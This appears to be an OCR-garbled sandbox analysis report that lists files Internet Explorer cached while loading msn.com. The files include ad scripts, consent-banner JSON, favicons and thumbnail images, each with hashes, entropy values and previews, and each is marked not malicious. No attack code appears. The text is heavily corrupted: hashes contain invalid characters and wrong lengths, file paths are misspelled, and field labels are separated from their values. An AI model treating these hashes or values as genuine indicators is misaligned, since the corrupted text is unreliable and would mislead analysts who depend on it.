Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 1 x 1

dropped

43

3.122191481864228

false

3:CUTxIs/1h/:7IU/

F8614595FBA50D96389708A4135776E4
D456164972B508172CEE9D1CC06D1EA35CA15C21
7122DE322879A654121EA250AEAC94BD9993F914909F786C98988ADBD0A25D5D
299A7712B27C726C681E42A8246F8116205133DBE15D549F8419049DF3FCFDAB143E9A29212A2615F73E31A1EF34D1F6CEOEC093ECEADO37083FA40A075819D2

false

GIF89a..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\favicon[1].ico

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
dropped

5430

4.0126861171462025

false
96:n0aWBDmM5zDIvV2rkG4zuAZMXJIFG62q7mQ:nCBy5zZ01G46AaXJFG6Ev7m
F74755B4757448D71FDCB4650A701816
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\favicon[1].ico

SHA1L: OBCBE73D6A198F6ESEBAFA035B734A12809CEFA6

SHA-256: E78286D0F5DFA2C85615D11845D1B29BOBFEC227BC077E74CB1FF98CE8DF4C5A

SHA-512: EOFB5F740D67366106E80CBF22F1DA3CF1D236FE11F469B665236EC8F7C08DEA86C21EC8F8E66FC61493D6A8F4785292CE911D38982DBFA7F5F51DADEBCC87
5

Malicious: false

Preview:

........ S...5...5...SW..I.......5...5...5...5.......5...5..5...5...5...5..[...5{..5...5#..5...5..1..5..5...5[..5...5...5..5...5...5...8}..5...sW..I..S...5m..
sK..sC..sw..s..s...s%..5!..5..5...5...5...5U..5.5Y ..5...5..5..I*......5...5...5..5...1%..5[..5...5...5..5]..5...I.§S5..5...5( ........... S...8...5...5...50 0ot Su..S...S.......S...8..8.5A s%..S..s#..
celelS]ed s...s..sk..s...s .5..5...8) Sl ST S.e.SullSl S S, S...5..57..........5...5..81..52..87..S oo S...Seeen S..S. W S...5..5...5...5...
S.. S...S[...c......88..5...5........S...5..8M..SL.S) LS sl..s..s#......s...5...5..8Q.. ..SM..S...I...S..I...S...8...I...5...8Q..s..1K..s...80..5". ..5...8...5..5...5..5_..5...5...8.
.rQ..s..s...sK..r/..s3..sa..s...s...sl..s#..5..5...5...5...5...5...5...8Y..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\fcmain[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCI!I text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 36118

Entropy (8bit): 5.126957846057376

Encrypted: false

SSDEEP: 768:01av44u3hPP1W94h+cRVYXfOWOBEZn3SQN3GFI2950sID1/NIjsX:AQ44uRFWmh+cRVYXfOWOBEZn3SQN3GFR
MDS5: 35A1ADF65777E0CB478E57CDA4B87D9E

SHA1L: 44E3833E4DA99B9766B92B6816B25098451A8D53

SHA-256: 0106596D086CF446A3E8CEI3CFB213F0A0986CDE7EAA4B34844A63AFC8DBC7D3

SHA-512: 9447E42638DA81712934EBOB8018BC5593BFDCBC3C434BCBD2530EF5A0C591451B37680A40568710753424610D3FC89C0377E580433821F997DEC303D45043E3
Malicious: false

Preview:

;window._mNDetails.initAd({"vi":"1611125212313068646","s":{"_mNL2":{"size":"306x271","viComp":"1611123799641154487","hide AdUnitABP":true,"abpl
""3" "custHt":"™","setL3100":"1"},"lhp":{"I2wsip":"2887305228","I2ac":""},"_mNe":{"pid":"8PO8WH20T","requrl":"https://www.msn.com/de-ch/?ocid=iehp#mnetcrid=8584
122144#"}," md"[],"ac":{"content":"<!DOCTYPE HTML PUBLIC \"-\WW3C\WWDTD HTML 4.01 TransitionalV\VEN\" \"http:\/\/www.w3.org\/TRVhtml4Vloose.dtd\">\r\n<html
xmins=\"http:\V\V\www.w3.0rg\/1999VxhtmI\">\r\n<head><meta http-equiv=\"x-dns-prefetch-control\" content=\"on\"><style type=\"text\/css\">body{background-color: transpa
rent;}<\/style><meta name=\"tids\" content=\"a='800072941' b="803767816' c="msn.com’ d="entity type'\" \/><script type=\"textVjavascript\">try{window.locHash = (parent._
mNDetails && parent._mNDetails.getLocHash && parent._mNDetails.getLocHash(\"858412214\"\"1611125212313068646\")) || (parent._mNDetails[\"locHash\"] &&
parent._mNDetails[\"locHash\

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\hdm5SZ8[1].htm

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 232888

Entropy (8bit): 5.999840874151613

Encrypted: false

SSDEEP: 6144:tEjJ1WSV6I16G26B+2vS2xAviogxdMPfw:UnU16URAvVIogx9

MD5: BCBC0974A14F9635BA7B4B709BB8D443

SHA1L: 4C6BF31F06D5B3BDFF030D97F719FCD57DB39E17

SHA-256: 52894E1C1DFF0158C8CF899A83A7C1E5FC1CF64CC4CBB647DCBE434DFOF77514

SHA-512: 0F3084B7C936A729292B8C0D87A8CB6C6EBIF7A7E70F010D7CB1A5583A1051ECE7CCI3F8A67BA4347C8650BEA56D0AA65739E9DBD3600E1C2CAOFD648DDIF!
75

Malicious: false

Preview:

B+m9QnJaH2v4KuujekT0tZknh8uNz2ZHiEztob91ydETY10keM3LE4Ds7Y5HOV7ui8hskv+8AVceRfVQIXLYKITOfnTU30LA4HKS5I5pZ41AJJy CTZI06j4UysczQUAV]LX
611nTHPOdheNCyOxdtyJcMjM5bvHeOCoucoR3tBRMeNgbtDHrMv5JTuircV9BmZr88S3Jp608LbVYghAburpgRWzBXmfmzFQnjgv+700LDd8cd1gl4+B1wOiUBBNUAXvIX
JF6Kk+RW4zTOVEKFUHr7bryHQWIyY807bbDMHhigbhFGKSbL1Pecx4VT1G30xoczngWE9D3sNIkFIp7+VERQV4tDTublYq9bXsumxY4OA/Eqb3UjWaY QHbplF
esWs2H4hHVaGqg+ng5E4G/Oawejcg/vKhMgvsyAAZ6LFPILI2HbC80v7ceRVo8FnH7ZD4on9ovLtbudxV5PzgXUtHVKCykwlU6ICwoewTSqQO3TR+AAeKONC8Z7ixKbHt64
S70cUnXg4x3EgJOELDBgXrylJhO9gcAAjf7n555Dgm9iFYud67WP7XZ+6KLwenYBevE62mup+QHIzEsM3kHVCR/immO2FVo6nXZHMKnm1bzi6yzUau/PN58Nif5Z9tjpni
ZJpubehQ5kP+6bk03/Xs0JRAA5k0V1NQI60+06 TKbhm/X3mDs692R/TLHuUwyl6wd3IEqxHA0k779ny4PAUBIIMAUV1cSh5EyOvzhOJjxiibkGEZZDOX1YtvPVZ8J3/D5SP1
CPWrzZ0JmFoluaeb0oiLvIVjV6y1ZRR4WKgRuOOTM88yCbxsOBFDcTLIGERA8dN5D2DVmAwhY+RPcv3ndv+X+zuXrglwPC94UuVMOVKO9PeUyYc2boMPQbdrQ
Pn908QN1q4GHGuUzZDWe71ZfAoXKCBheBFx6vBhEGDILafrWUTDVNVc2rDApY/JOTMPBFpDMzsYHQ/fwgiJLxJF6zNzZWD31+9RnHVIDMIMFFOGP

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\IMEEXW4H4\http___cdn.taboola.com_libtrc_static_thumbnails_14befda2dae313
dba9f4c1113868adca[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category: dropped

Size (bytes): 13734

Entropy (8bit): 7.966378745342486

Encrypted: false

SSDEEP: 384:/8mYTkYwavY4ST+302NinCZ5tJCOctcK3pj9+U:/8wgY4ST2lg/Lct19H

MDS5: FD614D608DB76CD6C7D47A4E9ABDC34A

SHA1L: 909A958ECE5943232905115491190F950B6ABOAD

SHA-256: BD938332CB19D1C5F496056DFABEE8105E1020728085E813AD682157EB49E21B
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lEIMEEXW4H4\http___cdn.taboola.com_libtrc_static_thumbnails_14befda2dae313
dba9f4c1113868adca[1].jpg

SHA-512:

Malicious:

Preview:

8A879C41E46AC6EBB08FE77CE2BD18B17863F958879FFEC3E4A092B2AF722DD9121042CF238533B73850A8E7B1272043376E59EDADGE91BB46AFF7BAECCAGEE

ki.q 57 md$ .8s..'p..V>.B. G> v@...v.m. 6 ]y| q..u.B..! ....... J6'q KO/\A .z../[hg..aqU. 6>A . ]chl....Qc.U4.z,{hy'.6.<.N:J

.j.N.6C2..5<".Uo0..).0]].
2.v2>. +F.Lb8:.. F.........YSQM..6...%=.1Yk....7...,$.ck.....0%...)..6..\&B.....wsrfE.\........ q..$”.v....[9...6.}$..A.X\2.k.*J.).J.N7b..d.#..Y...is|kM.L><2....IL.2..O..........{.$.n..1.)d ...... Q...
9u/\.MI..vI0&..9.3...6.......0.i.mJ.;."....7TF9...H..0....... Lo Al w..k.1X.R.~y. . K.& V{...V..eT...;~y.... .[yimin._..G."9.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\IMEEXW4H4\http___cdn.taboola.com_libtrc_static_thumbnails_34b094b744ee2e
4c457¢9f3152222822[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
dropped

23877

7.9746863736174864

false
384:/zVLuOf/[irNiGYBYhr8C64Yg2molPaiOVYpcFkF/N4ATY6YwMtkp07KDthQS6JED:/JLu06rNiGfa5g2mopykcK2T0ayuDe/e
40C2D64126AEB30144CCOCBF14FC07CC

608DBF3C0762CE32806C5F2A98141671521F547F
2DEE3EA6BAB33AEF1F25B2BDF1317D1261CC981C2624BB6EB952B24D2C6FES88
F397D713AD3FE22D66D769719E39C4A262F81856A0FD19EF86D6A104AA61BD0O5C7A7402D91D8E271B037F4070D9058FA8AA43CCO9FEF189957740553C3EEF51(

false

%
*Yd..|5...0 KF.+.Y..)..L70..9=..].. \.S...$I"<.W.2..7).1
..0.rl.(.T"..u$HL.LA#.q]... LY ]--M4l(z... L..soo.tY . L....d.Z.N.1...
1..B..4.>0..nB.=...G.0."..F . . .C..W.S$..3.. .
o..m.d{.X.w... kR.X...IY<..\\m..4/.u6..nEu..w$..@{8..9...<."......... Yiji 6.7 X|..z..&E...,.Zh. QO&C}Z

CL7ULML5- xd.
&V..S.CJIz.P.6|...

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\IMEEXW4H4\http___cdn.taboola.com_libtrc_static_thumbnails_5f0643264e26a8
2cc868d192813c0a0f[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
dropped

17790

7.972793514521845

false

384:M6gF/qQlc+sQGm4pa5twiYProstm04rtPOIzObyG1zl:EF/sc7tM5ZYVmO06pShyG1zI
FOF3316699F51A801D8182558090AE3D

60080587F865027C773D62318D7FDB42A4C9D7F6
B26A914CC562314C00F2D93CB97507C8D2B4FES555B1EC10F5716F624E9C3B86E
EB3777CC7BB0319C2E2A2FD07C5D11F918B4521A73B2D95D952C732AEF50D8AC46392F19BAF4A6C5F6866C1896B1D3EOCCCH6C2E3570608E93429D55006B776¢

false

&....&:$*$$*$:3>2/2>3H@@H\YTY].SS ..o T Ao
L(.@...L2. G..M..b..S\g.8=.{....... ger...1...4X...{.n.v....AY.. C.Zo.. -+ 3~ KISNLLCL]r oL LS. & KTr..m.Z9...Y .Up...0+Z.{M0a....0...2.
.5.1zo....|.~dw...DVi.&a..w.+z..;..Y.4~s.......L.}.<e.v.Cv4..?J.0.4.." ... .R._G.M.7F[..9'RNSe....u....... jT.1.1...Ui..B...=.iu....e..-C..2+*". .. _.UIE..'Q........ n*.|.M.|.pV..SL..2.
&.m*..EK.a..'6hY.%V...]JO=7...p" . H........p..(/-.n..G.s.3"....E.7...CpZHv.z_.3..gj.A......Qe.z!, NL..5S...ET.A..'b..ry.W.f...d......e*b..&34D..Pq....... _.Z...3a\(6....."..08LF.
@v...J.S.M.Z.....m.ag.Q..0....35.LsK..9..$..9.V....G.. AT T.... ... Ao Gk....9N\...Ll...6......-.La+..Q.......

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\otPcCenter[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

dropped

46394

5.58113620851811

false
384:0j+X+jzgBCL2RAAaRKXWSUB8zVrX0eQna4lwFpWgeObRApQZInjatWLGuD3eWrwAs:4zgEFAIXWeNelpW4lzZInuWjlHoQthl
145CAF593D1A355E3ECD5450B51B1527

18F98698FC79BA278C4853D0DF2AEEB0F61E15A2
0914915E9870A4ED422DB68057A450DF6923A0FA824B1BE11ACA75C99C2DA9C2
D02D8D4F9C894ADABBAOB476D223653F69273B6A8B0476980CD567B7D7C217495401326B14FCBE632DA67C0CB897C158AFCB7125179728A6B679B5F81CADEBE

false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\otPcCenter[1].json

Preview:

{. "name": "otPcCenter", "html": "PGRpdiBpZD0ib25IdHJ1c3QtcGMtc2RrliBjbGFzcz0ib3RQYONIbnRIciBvdC1loaWRIIGI90LWZhZGUta
W4|IGFyaWEthQkYWWQInRydWUlIHvaGU9ImeYvaZngYXJpYSleWJIbeIZGJSPSJdeleleaXRsZSI+PCEtLSBDbGQzZSBCdXR0b24gLSO+PGde
iBjbGFzcz0ib3QtcGMtaGVhZGVylj48IS0tIExvZ28gVGFnICOtPjxkaXYgY 2xhc3M9IIm9OLXBjLWxvZ28ilHIvbGU9ImItZylgY XJpY S1sYWJIbD0iQ29tcGFueSBMb2d
VIj48L2Rpdj48YnV0OdGOuIGIKPSJjbhG9zZS1wYylidG4AtaGFuZGxicilgY 2xhc3MIIM9OLWNsh3NILWIjb24ilGFyaWEthGFiZWw9lkNsb3NIIj48L2J1dHRvVbj48L2Rpdj48ISOtIEN
sh3NIIEJ1dHRVbIAtLT48ZGI2IGIKPSIvdC1wYy1jh250ZW50I1iBjbGFzcz0ib3QtcGMtc2Nyb2xsY mFylj48aDMgaWQ9Im90LXBjLXRpdGxl1j5Zb3VyIFByaXZhY3k8L
2gzPjxkaXYgawQ9Im90LXBjLWRIc2MiPjwvZGI2PjxidXR0Ob24gaWQ9ImFjY2VwdC1yZWNvbW1lIbmRIZC1lidG4taGFuZGxIcil+QWxsh3cgY WxsPC9idXR0b24+PHNIY3R
pb24gY2xhc3M9IIm90LXNkaylyb3cgh3QtY2FOLWdycCl+PGgzIGIkPSJIvdC1jYXRIZ29ye S10aXRsZSI+TWFuYWdIIENvb2tpZSBQcmVmZXJlbmNIczwvaDM+PGRpdiBjb
GFzcz0ib3QtcGxpLWhkcil+PHNwYW4gY 2xhc3M9IIm9OLWxpLXRpdGxlIj5Db25zZW50PC9

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\41-0bee62-68ddb2ab[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1238

Entropy (8bit): 5.066474690445609

Encrypted: false

SSDEEP: 24:HWwAaHZRRIYfOeXPmMHUKg6GGigllQCQ6cQflgKioUInJagzrQJ:HWwAabuYfO8HTqOxB6XfyNoUiJaD

MDS5: 7ADA9104CCDE3FDFB92233C8D389C582

SHA1L: 4E5BA29703A7329EC3B63192DE30451272348E0D

SHA-256: F2945E416DDD2A188D0E64D44332F349B56C49AC13036B0B4FCI46A2EBF87D99

SHA-512: 2967FBCE4E1C6A69058FDE4C3DC2E269557F7FAD71146F3CCD6FC9085A439B7D067D5D1F8BD2C7ECI9124B7E760FBC7F25F30DF21F9B3F61D1443EC3C214E3F
F

Malicious: false

Preview:

define("meOffice",["jquery","jqgBehavior","mediator","refreshModules","headData","webStorage","window"],function(n,t,i,r,u,f,e){function o(t,0){function v(n){var r=e.local
Storage,i,t,u;if(r&&r.deferLoadedltems)for(i=r.deferLoadedltems.split(","),t=0,u=i.length;t<u;t++)if(i[t] &&i[t].indexOf(n)!==-1){f.removeltem(i[t]);break}}function a(){var i=t.find
("section li time");i.each(function(){var t=new Date(n(this).attr("datetime"));t&&n(this).htmi(t.toLocaleString())})}unction p(){c=t.find("[data-module-id]").eq(0);c.length&&(h=c.
data("moduleld"),h&&(I="moduleRefreshed-"+h,i.sub(l,a)))}function y(){i.unsub(o.eventName,y);r(s).done(function(){a();p()})}var s,c,h,l;return u.signedin||(t.hasClass("of
fice")?v("meOffice"):t.hasClass("onenote")&&v("meOneNote")),{setup:function(){s=t.find("[data-module-deferred-hover], [data-module-deferred]").not("[data-sso-de
pendent]");s.length&&s.data("module-deferred-hover")&&s.html("<p class="meloading><\V/p>");i.sub(o.eventName,y)},teardown:function(){h&&i.un

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB10MkbM[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 965
Entropy (8bit): 7.720280784612809
Encrypted: false
SSDEEP: 24:T2PqcKHsgioKpXR3TnVUVPkKWSsvIos6z8XYy8xcvnla:5PZK335UXkJsglyScfla
MD5: 569B24D6D28091EALF76257B76653A4E
SHAL: 21B929E4CD215212572753F22E2A534A699F34BE
SHA-256: 85A236938E00293C63276F2E4949CD51DFF8F37DE95466AD1A571AC8954DB571
SHA-512: AE49823EDC6AE98EE814B099A3508BA1EF26A44D0OD0O8E1CCF30CAB0O09655A7D7A64955A194E5E6240F6806BCOD17E74BD3C4C9998248234CA53104776CCO0A(
Malicious: false
Preview:
PNG........ IHDR.....coves a...sRGB......... gAMA......a....pHYs.. #..#.Xx.?v...ZIDATBOmS[h.g.=s..$n...]7.5..(.&5...D..Z..X..6....0.-.HIm.B.......... j..Z,.D.5n.1...g7;;.;3.wW. . ......

.}..5...C==}..hd4.00../1.1.*.U8.Ww.B..MO..7}......... J...Li.T..(d.d*L.sr..... g?.aL.WC.S..C...(.pl..}[Wc..e. o ESU NN (N LLEL X4 L A<#fe..L L ATL.G..
8..m..RYDu.7.>...S R....5.@.h..Y$..uvpm>(<..q.,.PY....+...BHE..;.M.yJ...U<..S4j..g... X.. .h. ..qg.).~..oy..h..ub....i._n..4T.Z.#..
L0.Lelglhz 8u&.. . IC UV . _.9..8< L Ab.| A 20 v > OA..;.0...n 'K\..C.a.1$8.~.0...4}..~5.\6...2?..5.0X.U....%...@.N....@.HI]....L......#.r.L./L.N
dm..@......... gV...c.X...t.1CQ..TL...r3.n.. ..t.....‘...$...ctA....H.p0.0.A..IA.o.5n.m...\.I.B>....><..L.+.H.c6..u...7....‘....M....IEND.B‘.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB18qTPD[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 327

Entropy (8bit): 6.584262874560129

Encrypted: false

SSDEEP: 6:6v/IhPkR/C+EyPWhnLv+hVocmKXcYjomsSvinvTIIDGOLEsvhYup:6v/78/NPWhnLCmhKtTbp7lydwOhYc

MD5: A9F4F3F8C78B05223CE516AD0OBFCO89E

SHA1L: 049CBFFA8DASAFOEC8FC7282A0010C2018000DDB

SHA-256: 1B9703D8DA6DAED5840900FBEDF403F29A2DEBAF73C47C1862F4D476D777178B

SHA-512: B6E36C563A8C2B367F4BBE1DD5E4173BB489394E13ED5C868FEF73BBF100D05BD133E44A4EB329B31987B07BIF88ED73EE4CB65F2056ECB6BB66466DEAAED
9AA

Malicious: false

Preview:

.IDAT8OC....F(M.x...
...@a")...Q@G .

X LATHE. 2.9 A......TPCT%..0.1..1.&200.8+Ww.... ...... l..&..@<a..
...IEND.B".
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1lardZ3[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

481

7.341841105602676

false

12:6v/78/SouuNGQ/kdAWpS6qIIV2DKfSIIRje9nYwJ8c:3AI0K69YY8c
6E85180311FD165C59950B5D315FF87B
F7E1549B62FCAB8609000B0C9624037A792C1B13F
49672686D212AC0A36CA3BF5A13FBAGC665D8BACF7908F18BB7E7402150D7FF5
E355094ECEDD6EEC4DA7BDB5C7A06251B4542D03C441E053675B56F93CB02FAESEB4D1152836379479402FC2654E6AA215CF8C54C186BA4A5124C2662199858

false

P.E|. .
>g.<...aM4.u..%..0W*y-{r.xk".Q.$.}..p>.c..u..|.V...v.,..8.fHS$.I....TB.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB1cEP3G[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

dropped

1103

7.759165506388973

false
24:sWI+1gOC+JJAMrPGUDIRNO20LMDLspJg9a+VXKJIL3fxYSIP:sWYjJI3rPFWToEspJg9DaxWSA
18851868AB0A4685C26E2D4C2491B580

0B61A83E40981F65E8317F5C4A5C5087634B465F
C7FO0A19554EC6EAGE3CIBD09F3C662C78DC1BF501EBB47287DED74D82AFD1F72
BDBADO03B8BCA28DC14D4FF34AB8EAGAD31D191FF7F88F985844D0F24525B363CF1D0D264AF78B202C82C3E26323A0F9A6C7EDIC2AE61380A613FF41854F2E6

+..B.mD!....(.a.Ej..&F.+..M]..8..>b..FW,....7.....d...Z........60).8....j.... T.. Xk L.ha.{ ... KT.yZ...P)w.P...Ip.../[.....=... kg.+

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB1cG73h[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

dropped

917

7.682432703483369

false
24:k/6yDLeCoBkQgDWOIlotl9PxlehmoRArmufob/DeyH:k/660WQiWOIlul9ekoRkf9b/DH
3867568E0863CDCE85D4BF577C08BA47
F7792C1D038F04D240E7EB2AB59C7E7707A08C95
BE47B3F70A0EA224D24841CB85EAED53A1EFEEFCBI1CI003E3BES55FA834610F
1E0A5D7493692208B765B5638825B8BF1EF3DED3105130B2E9A14BB60E3F1418511FEACFOB3CI0E98473119F121F442A71F96744C485791EF68125CD8350E97D

false

t.B..a.. MU AALLAL..d?IX el B D;...1Naa.
....d.B..L.<>.K.oxs...+.$[..P...INNN.p....e..M,.zFO .
...n....K.}.].OvB.q..0,...u..,.....m})V....6m...S.H~.O......... \.....PH..=U\....d.s<..m.~.8.i0.P..Y..Cg>......S....U......1L%.Td.3c.7..?2.E.P..$#i[a.p.=.0..\..V*..?. ./e.0.._
0..]..].N.8.h.A.<(.&qrl<L(.ZM....gl:.H....0a=.C@.@......S2.rR.m....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1cTBBt[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 100x75, frames 3
dropped

2368

7.7947743629939

false

48:BGpUERAI60gtX0GX58FNEXboRfC3LWDObW+0JnQjel7xtg1BHNKLudoe:BGAEItXjXfOfoWgy1nQitQHNKLA
FDCAE25AAB63B66F8B6F351CFE92378A

63AE1CEDBDFFOCBAQ9E43274D64F39979F3609FB
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1cTBBt[1].jpg

SHA-256: 2E7EBFBI69EA33962A5DA62301AAA20E0890189B2DF26F3B5A192120AEB345A3

SHA-512: F57331BBA5C949113ABF449154BF3E086CEFIF84A302C2F3E889E42ED6D33811FEABB5652C7D0B2F91BE2A17013F942EE7EDBDIEDES82C144BC8B85BE12ABO
D7

Malicious: false

Preview:
...... JFIF..ociiieCriiie e 0)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000

0O00000000000000000.....K.d.."

}. 1A..Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIISTUVWXYZcdefgh
ijstuvwxyz.... Ww......!11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. z{w...U.h).H h..[...9+. . .p..F.\.kLW.5P\.V9..M9..R8.Z.$X...Rk..#..... >XA..b..l....... <..6-
R..R..qc Q" H..a [ WL WL F+.=?. L.Z..+mJFd.b>.qJ.-..$P....1..59¢.U.....mX.(.."...ZKE; l....g G2[...0.Le0.~C(......... jxzm@....Af.?..-.&...4.%...~a..*.$dr.0GCcE;.V

L3LYf2n Q.5{D... fi.a.0.a[0@<...Y.....V.O...n...~."

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB1cTJfF[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 5945

Entropy (8bit): 7.737529839052835

Encrypted: false

SSDEEP: 96:BGs6EGBf4dCxMDtD1GoAQ+ANRjfoFK1rS0Is7V4tuRNOVKHIM4yGeD5+ljm8:BY CACWJIRpAQXWNURNOyFjyGeV+jm8

MDS5: 659134BD9C516048BFC14E9B10862303

SHA1L: CDD3DBA7081560014EF7F4743B9A773805E529A3

SHA-256: FE9072AF26505AA71A67D0124E86AEEEBFE7BA502144AB1175E21F9D3887AD59

SHA-512: 28DFAALF8691F2049BDFA13302A064550306D95EFE330231CECODELE6CFCA4DEC8F0531E76D69C86F12101E6DDI0C5D8590CEAFDDA90987D2F8B98BDE6G2EI0E
2

Malicious: false

Preview:
...... JFIF . i Cas )10) 3:J>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000 %&'()*456789:CDEFGHIISTUVWXYZcdefgh
ijstuvwxyz. W !1..AQ ag."2...B....#3R..br..$4.%.....&'()*56789:CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. i).Q. CQ sK .&..f£.5.M=M.IMaE.0..p..Qp......XTf.5...A.CPT.i06..1.m."..4..."....5....... R..(......F*AMa

M...1...H.e....). L..FqZ.>......(Fih.h.>.S..~(.0.L.1.9..$=*3.i.(@6.(...i.5.Zp9...H.-.~-6....Q@.i..SL&.RF).2j...R"_1$.[.0.U{8.h8.U.W5HI)h.1(.....Z(.).1J).2221X..=H... }..N
L..RS$".."E4 J.0.|E;..T.8...(8.5.(8.".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1cTSym[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 300x250, frames 3
Category: dropped

Size (bytes): 14183

Entropy (8bit): 7.956791728726927

Encrypted: false

SSDEEP: 384:ZvJENcvgyhffabQxfY5m5zNpxg1la6Qvwi8dA7I+IXfj2rTG:ZhENcYK5Y5CzNY8ydAWWj2rTG

MDS5: 75997688F095CAC7A000D4088D998FEL

SHAL: 2CA7D526DD47D46945719CD5069D19CCDA8B58A1A

SHA-256: 400B7A50BE9C127F5D97793B2C961DF479A10A753314340459F60725BB55B227

SHA-512: AB41069D6E1595257176 CBFOADIB3BC0743E6980AE4025FBIE610B5FFB644DDC21505D0582C144CDC1E264FAFF1DB2E999622C40170D748998B4C45A0C09428
Malicious: false

Preview:

&' ()*56789.CDEFGHIJSTUVWXYchefghus
) . &la.9..J. 4T . .gui. .M h..O.[[e
S...p.?Z..Gu....JN.d......).P.B.Qt"..G.(..Z...Gy#Jue.deY.

tuvwxyz
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NVt T UE.\m=(..2..
..b.&2.8B.0.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB1cTaUQ[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

